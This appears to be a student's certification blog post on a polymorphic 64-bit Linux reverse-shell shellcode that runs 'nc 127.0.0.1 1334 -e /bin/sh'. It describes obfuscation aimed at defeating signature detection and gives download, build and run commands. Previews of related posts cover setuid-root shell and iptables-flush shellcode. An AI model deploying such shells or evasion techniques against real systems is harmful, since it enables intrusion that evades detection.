Skip to main content

PolyNetCatRevShell1434

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE64-1434

Target Operating System: 64 bit Linux (x86_64 GNU/Linux)

This blog post is part of Assignment 6: http://a41l4.blogspot.ca/2017/03/assignment-6.html

The Original Version:  http://shell-storm.org/shellcode/files/shellcode-823.php

Original Size: 109 bytes

My Version:
GitHub Link: https://github.com/rtaylor777/nasm/blob/master/PolyNetCatRevShell1434.nasm
Published: https://www.exploit-db.com/exploits/41510/

My version:
Number of bytes = 106
Number of nulls = 0

PolyNetCatRevShell1434.nasm

Intro

The PolyNetCatRevShell1434 does an execve system call to run the command:

nc 127.0.0.1 1334 -e /bin/sh

Polymorphic

This is a polymorphic version of the original author's code which does basically the same thing.

I rewrote the original authors code and shrunk it's size down to 72 bytes. See: http://a41l4.blogspot.ca/2017/03/netcatrevshell1434.html

Then I rewrote that minimal size version to obfuscate what is happening a little which has bloated the code back up to 106 bytes. Overall this produces bytecode that would generate a different signature, and defeat signature based detection.

The 3 eight byte strings from my minimal version have been reversed, encoded in hex and placed at the beginning of the shellcode. Then a procedure at the label "handle" is called to load these 8 byte strings and push them onto the stack. It is worth noting that this design would permit further encrypting these 8 byte strings by putting the decryption steps in this handle procedure.

The last touch is to disguise the value that we are putting into RAX which would indicate the system call that we wish to make. Because the value manipulated is pulled from the stack you would have to rework this section of code if you wish to change the length of the IP address or Port strings that you are putting onto the stack.


Testing

Download:
wget https://raw.githubusercontent.com/rtaylor777/nasm/master/PolyNetCatRevShell1434.nasm

Assuming you have the NASM assembler ( http://www.nasm.us/ ):
Assemble:
nasm -felf64  PolyNetCatRevShell1434.nasm -o PolyNetCatRevShell1434.o

Link:
ld  PolyNetCatRevShell1434.o -o PolyNetCatRevShell1434

Execute:
./PolyNetCatRevShell1434

But Wait
Before you run the shellcode you need to make sure that there is a client listening on port 1337, otherwise the shellcode will exit with an error that looks like this:

For this you can use the netcat command (nc, ncat):
nc -l -p 1337 127.0.0.1 



Please See

If you are new to shellcode or shellcoding you should start by reading my blog post: http://a41l4.blogspot.ca/2017/01/execvestack1434.html

 Then I suggest you read over my NetCatRevShell1434 blog post: http://a41l4.blogspot.ca/2017/03/netcatrevshell1434.html since this polymorphic version is just an obfuscated version of that.

Shellcode.c

If you missed it from my previous blog posts the shellcode.c file is auto generated by my helper scripts. See: http://a41l4.blogspot.ca/2017/02/slae-helper-scripts.html

The Original Shellcode

http://shell-storm.org/shellcode/files/shellcode-823.php
I felt it was worth mentioning that the original shellcode actually has a flaw. The author assumed that the value of RAX would be zero or at least constrained to the size of a byte. His only interaction with RAX was near the end where he executes:
mov        al,59

So when running his shellcode in my shellcode.c file which pollutes all the main registers with 0xffffffffffffffff before calling the shellcode, it fails. I think this is important since I don't believe that there is any guarantee that RAX is in any particular state when injecting the shellcode into a process, via buffer overflow or what have you.


Summary

The PolyNetCatRevShell1434 shellcode runs the netcat command to connect back to a client and then launch a /bin/sh shell for the client to interact with. Despite the efforts to make what this version of the shellcode is doing obscure, I have managed to reduce the size from the original authors shellcode by 3 bytes.

If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Comments

Popular posts from this blog

PolySetuidExecve1434

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification." http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE64-1434 Target Operating System : 64 bit Linux (x86_64 GNU/Linux) This blog post is part of Assignment 6: http://a41l4.blogspot.ca/2017/03/assignment-6.html The Original Version: http://shell-storm.org/shellcode/files/shellcode-77.php My Version: GitHub Link : https://github.com/rtaylor777/nasm/blob/master/PolySetuidExecve1434.nasm Published : https://www.exploit-db.com/exploits/41498/ Original Shellcode bytes = 49 My version: Number of bytes = 31 Number of nulls = 0 PolySetuidExecve1434.nasm Intro This shellcode when executed will first setuid(0) and then execute /bin/sh and provide you with a shell. The purpose of calling setuid(0) is, suppose that you have managed to inject this shellcode into an executable that is Set-UID root. I...

PolyFlushIPTables1434

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification." http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE64-1434 Target Operating System : 64 bit Linux (x86_64 GNU/Linux) This blog post is part of Assignment 6: http://a41l4.blogspot.ca/2017/03/assignment-6.html The Original Version: http://shell-storm.org/shellcode/files/shellcode-683.php Original size: 50 bytes (don't believe what he says :) My Version: GitHub Link : https://github.com/rtaylor777/nasm/blob/master/PolyFlushIPTables1434.nasm Published : https://www.exploit-db.com/exploits/41503/ My version: Number of bytes = 47 Number of nulls = 0 PolyFlushIPTables1434.nasm  Intro This shellcode basically just executes /sbin/iptables -F without any other parameters. man iptables "-F, --flush [chain]               Flush ...

Smbexec Install for Kali 2016.2

This is my how-to current as of August 31, 2017 . Context Kali Linux 2016.2 after: apt-get update apt-get upgrade apt-get dist-upgrade apt auto-remove restart Reason Training, see: https://www.cybrary.it/course/advanced-penetration-testing/ Video: https://www.cybrary.it/video/post-exploitation-part-4/ Downloads cd /opt git clone https://github.com/pentestgeek/smbexec.git git clone https://github.com/libyal/libesedb.git git clone https://github.com/csababarta/ntdsxtract /opt/NTDSXtract wget https://raw.githubusercontent.com/infoassure/dumpntds/master/dshashes.py -O /opt/NTDSXtract/dshashes.py Install Required Tools/Libraries apt-get install automake autoconf autopoint gcc-mingw-w64-x86-64 libtool pkg-config passing-the-hash ruby-nokogiri ruby-libxml libxml2-dev libxslt1-dev Build libesbdb cd /opt/libesedb/ ./synclibs.sh ./autogen.sh ./configure make Install Bundler gem install bundler   Install Smbexec First edit the file /opt/smbexec/smbe...